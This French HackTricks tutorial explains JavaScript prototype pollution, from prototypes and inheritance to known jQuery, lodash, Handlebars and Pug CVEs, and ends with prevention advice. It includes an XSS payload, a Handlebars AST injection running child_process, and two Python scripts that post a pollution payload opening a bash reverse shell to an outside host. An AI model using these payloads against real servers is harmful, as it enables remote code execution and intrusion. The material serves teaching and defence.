NodeJS - __proto__ & prototype Pollution

Reading time: 13 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Objets en JavaScript

Les objets en JavaScript sont essentiellement des collections de paires clé-valeur, connues sous le nom de propriétés. Un objet peut être créé en utilisant Object.create avec null comme argument pour produire un objet vide. Cette méthode permet la création d'un objet sans aucune propriété héritée.

javascript
// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.

Un objet vide est semblable à un dictionnaire vide, représenté par {}.

Fonctions et classes en JavaScript

En JavaScript, les classes et les fonctions sont étroitement liées, les fonctions servant souvent de constructeurs pour les classes. Malgré l'absence de support natif des classes en JavaScript, les constructeurs peuvent imiter le comportement des classes.

javascript
// Run this in the developers tools console

function Employee(name, position) {
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer")

employee1.__proto__

Prototypes en JavaScript

JavaScript permet la modification, l'ajout ou la suppression d'attributs de prototype à l'exécution. Cette flexibilité permet l'extension dynamique des fonctionnalités des classes.

Des fonctions comme toString et valueOf peuvent être modifiées pour changer leur comportement, démontrant la nature adaptable du système de prototype de JavaScript.

Héritage

Dans la programmation basée sur les prototypes, les propriétés/méthodes sont héritées par des objets à partir de classes. Ces classes sont créées en ajoutant des propriétés/méthodes soit à une instance d'une autre classe, soit à un objet vide.

Il convient de noter que lorsqu'une propriété est ajoutée à un objet servant de prototype pour d'autres objets (comme myPersonObj), les objets héritant ont accès à cette nouvelle propriété. Cependant, cette propriété n'est pas automatiquement affichée à moins qu'elle ne soit explicitement invoquée.

__proto__ pollution

Explorer la pollution de prototype en JavaScript

Les objets JavaScript sont définis par des paires clé-valeur et héritent du prototype d'objet JavaScript. Cela signifie que modifier le prototype d'objet peut influencer tous les objets dans l'environnement.

Utilisons un exemple différent pour illustrer :

javascript
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")

L'accès au prototype d'objet est possible via :

javascript
car1.__proto__.__proto__
Vehicle.__proto__.__proto__

En ajoutant des propriétés au prototype de l'objet, chaque objet JavaScript héritera de ces nouvelles propriétés :

javascript
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function () {
console.log("Beep beep!")
}
car1.announce() // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true

pollution de prototype

Pour un scénario où l'utilisation de __proto__ est restreinte, modifier le prototype d'une fonction est une alternative :

javascript
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function () {
console.log("Beep beep!")
}
car1.beep() // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true
console.log(car1.hasWheels) // Outputs true

// Alternate method
car1.constructor.prototype.honk = function () {
console.log("Honk!")
}
car1.constructor.prototype.isElectric = true

Cela n'affecte que les objets créés à partir du constructeur Vehicle, leur donnant les propriétés beep, hasWheels, honk et isElectric.

Deux méthodes pour affecter globalement les objets JavaScript par le biais de la pollution de prototype incluent :

  1. Polluer directement le Object.prototype :
javascript
Object.prototype.goodbye = function () {
console.log("Goodbye!")
}
  1. Polluer le prototype d'un constructeur pour une structure couramment utilisée :
javascript
var example = { key: "value" }
example.constructor.prototype.greet = function () {
console.log("Hello!")
}

Après ces opérations, chaque objet JavaScript peut exécuter les méthodes goodbye et greet.

Polluer d'autres objets

D'une classe à Object.prototype

Dans un scénario où vous pouvez polluer un objet spécifique et que vous devez accéder à Object.prototype, vous pouvez le rechercher avec quelque chose comme le code suivant :

javascript
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for (let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for (let key1 in document.querySelector("a")) {
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Pollution des éléments de tableau

Notez que comme vous pouvez polluer les attributs des objets en JS, si vous avez accès pour polluer un tableau, vous pouvez également polluer les valeurs du tableau accessibles par des index (notez que vous ne pouvez pas écraser les valeurs, donc vous devez polluer des index qui sont d'une certaine manière utilisés mais non écrits).

javascript
c = [1, 2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Pollution des éléments Html

Lors de la génération d'un élément HTML via JS, il est possible de surcharger l'attribut innerHTML pour écrire du code HTML arbitraire. Idée et exemple de cet article.

javascript
// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

Exemples

Exemple de base

Une pollution de prototype se produit en raison d'un défaut dans l'application qui permet d'écraser des propriétés sur Object.prototype. Cela signifie que, puisque la plupart des objets dérivent leurs propriétés de Object.prototype

L'exemple le plus simple est d'ajouter une valeur à un attribut indéfini d'un objet qui va être vérifié, comme :

javascript
if (user.admin) {

Si l'attribut admin est indéfini, il est possible d'abuser d'un PP et de le définir sur True avec quelque chose comme :

javascript
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

Le mécanisme derrière cela implique de manipuler des propriétés de sorte que si un attaquant a le contrôle de certaines entrées, il peut modifier le prototype de tous les objets dans l'application. Cette manipulation implique généralement de définir la propriété __proto__, qui, en JavaScript, est synonyme de modification directe du prototype d'un objet.

Les conditions sous lesquelles cette attaque peut être exécutée avec succès, comme décrit dans une étude spécifique, incluent :

  • Effectuer une fusion récursive.
  • Définir des propriétés en fonction d'un chemin.
  • Cloner des objets.

Fonction de remplacement

python
customer.__proto__.toString = ()=>{alert("polluted")}

Pollution de prototype à RCE

Prototype Pollution to RCE

Autres charges utiles :

Pollution de prototype côté client à XSS

Client Side Prototype Pollution

CVE-2019–11358 : Attaque par pollution de prototype via jQuery $ .extend

Pour plus de détails, consultez cet article Dans jQuery, la fonction $ .extend peut entraîner une pollution de prototype si la fonctionnalité de copie profonde est utilisée de manière incorrecte. Cette fonction est couramment utilisée pour cloner des objets ou fusionner des propriétés d'un objet par défaut. Cependant, lorsqu'elle est mal configurée, des propriétés destinées à un nouvel objet peuvent être assignées au prototype à la place. Par exemple :

javascript
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true

Cette vulnérabilité, identifiée comme CVE-2019–11358, illustre comment une copie profonde peut modifier involontairement le prototype, entraînant des risques de sécurité potentiels, tels qu'un accès administrateur non autorisé si des propriétés comme isAdmin sont vérifiées sans vérification appropriée de leur existence.

CVE-2018–3721, CVE-2019–10744 : Attaque par pollution de prototype via lodash

Pour plus de détails, consultez cet article

Lodash a rencontré des vulnérabilités similaires de pollution de prototype (CVE-2018–3721, CVE-2019–10744). Ces problèmes ont été résolus dans la version 4.17.11.

Un autre tutoriel avec des CVE

https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2

Outils pour détecter la pollution de prototype

  • Server-Side-Prototype-Pollution-Gadgets-Scanner : Extension Burp Suite conçue pour détecter et analyser les vulnérabilités de pollution de prototype côté serveur dans les applications web. Cet outil automatise le processus de scan des requêtes pour identifier les problèmes potentiels de pollution de prototype. Il exploite des gadgets connus - méthodes d'exploitation de la pollution de prototype pour exécuter des actions nuisibles - en se concentrant particulièrement sur les bibliothèques Node.js.
  • server-side-prototype-pollution : Cette extension identifie les vulnérabilités de pollution de prototype côté serveur. Elle utilise des techniques décrites dans la pollution de prototype côté serveur.

Pollution de Prototype AST dans NodeJS

NodeJS utilise largement les arbres de syntaxe abstraite (AST) en JavaScript pour des fonctionnalités telles que les moteurs de templates et TypeScript. Cette section explore les vulnérabilités liées à la pollution de prototype dans les moteurs de templates, spécifiquement Handlebars et Pug.

Analyse de la vulnérabilité Handlebars

Le moteur de template Handlebars est susceptible à une attaque de pollution de prototype. Cette vulnérabilité provient de fonctions spécifiques dans le fichier javascript-compiler.js. La fonction appendContent, par exemple, concatène pendingContent si elle est présente, tandis que la fonction pushSource réinitialise pendingContent à undefined après avoir ajouté la source.

Processus d'exploitation

L'exploitation tire parti de l'AST (Arbre de Syntaxe Abstraite) produit par Handlebars, suivant ces étapes :

  1. Manipulation du Parser : Initialement, le parser, via le nœud NumberLiteral, impose que les valeurs soient numériques. La pollution de prototype peut contourner cela, permettant l'insertion de chaînes non numériques.
  2. Gestion par le Compilateur : Le compilateur peut traiter un objet AST ou un template de chaîne. Si input.type est égal à Program, l'entrée est traitée comme pré-analysée, ce qui peut être exploité.
  3. Injection de Code : Par la manipulation de Object.prototype, on peut injecter du code arbitraire dans la fonction de template, ce qui peut conduire à une exécution de code à distance.

Un exemple démontrant l'exploitation de la vulnérabilité Handlebars :

javascript
const Handlebars = require("handlebars")

Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
]

const source = `Hello {{ msg }}`
const template = Handlebars.precompile(source)

console.log(eval("(" + template + ")")["main"].toString())

Ce code montre comment un attaquant pourrait injecter du code arbitraire dans un modèle Handlebars.

Référence externe : Un problème lié à la pollution de prototype a été trouvé dans la bibliothèque 'flat', comme détaillé ici : Issue on GitHub.

Référence externe : Issue related to prototype pollution in the 'flat' library

Exemple d'exploitation de la pollution de prototype en Python :

python
import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Vulnérabilité Pug

Pug, un autre moteur de templates, fait face à un risque similaire de pollution de prototype. Des informations détaillées sont disponibles dans la discussion sur AST Injection in Pug.

Exemple de pollution de prototype dans Pug :

python
import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

Mesures Préventives

Pour réduire le risque de pollution de prototype, les stratégies énumérées ci-dessous peuvent être employées :

  1. Immutabilité des Objets : Le Object.prototype peut être rendu immuable en appliquant Object.freeze.
  2. Validation des Entrées : Les entrées JSON doivent être rigoureusement validées par rapport au schéma de l'application.
  3. Fonctions de Fusion Sûres : L'utilisation non sécurisée de fonctions de fusion récursives doit être évitée.
  4. Objets sans Prototype : Des objets sans propriétés de prototype peuvent être créés en utilisant Object.create(null).
  5. Utilisation de Map : Au lieu de Object, Map doit être utilisé pour stocker des paires clé-valeur.
  6. Mises à Jour de Bibliothèque : Des correctifs de sécurité peuvent être incorporés en mettant régulièrement à jour les bibliothèques.
  7. Outils de Linter et d'Analyse Statique : Utilisez des outils comme ESLint avec des plugins appropriés pour détecter et prévenir les vulnérabilités de pollution de prototype.
  8. Revue de Code : Mettez en œuvre des revues de code approfondies pour identifier et remédier aux risques potentiels liés à la pollution de prototype.
  9. Formation à la Sécurité : Éduquez les développeurs sur les risques de pollution de prototype et les meilleures pratiques pour écrire du code sécurisé.
  10. Utilisation Prudente des Bibliothèques : Soyez prudent lors de l'utilisation de bibliothèques tierces. Évaluez leur posture de sécurité et examinez leur code, en particulier celles qui manipulent des objets.
  11. Protection à l'Exécution : Employez des mécanismes de protection à l'exécution tels que l'utilisation de packages npm axés sur la sécurité qui peuvent détecter et prévenir les attaques de pollution de prototype.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks